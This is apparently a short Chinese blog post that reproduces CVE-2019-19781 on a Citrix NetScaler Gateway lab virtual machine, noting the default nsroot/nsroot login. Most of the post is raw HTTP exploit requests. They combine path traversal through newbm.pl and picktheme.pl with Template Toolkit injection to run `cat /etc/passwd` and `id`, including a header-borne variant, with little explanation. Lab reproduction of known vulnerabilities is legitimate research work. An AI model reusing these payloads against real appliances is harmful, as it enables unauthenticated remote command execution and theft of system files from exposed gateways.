CVE-2019-19781

发布于 12 天前  34 次阅读


NSVPX-ESX-13.0-47.22_nc_64.zip

https://www.citrix.com/downloads/citrix-gateway/

下载后导入虚拟机、配置静态IP、默认账号密码 nsroot/nsroot

Payload_setup_1:

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.54.190
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/kcgg
NSC_NONCE: nsroot
Content-Length: 94

url=http://example.com&title=kcgg&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

Payload_setup_2:

GET /vpn/../vpns/portal/kcgg.xml HTTP/1.1
Host: 192.168.3.244
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
NSC_USER: aaaa
NSC_NONCE: aaaa
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

变异Payload_1:

GET /vpns/portal/scripts/picktheme.pl HTTP/1.1
Host: 192.168.54.190
NSC_USER:../../../../netscaler/portal/templates/test[%template.new({'BLOCK'='print`id`'})%]
NSC_NONCE:ddd
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
GET /vpns/portal/test[%25template.new({'BLOCK'%3d'print`id`'})%25].xml HTTP/1.1
Host: 192.168.54.190
NSC_USER:eeee
NSC_NONCE:ddd
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。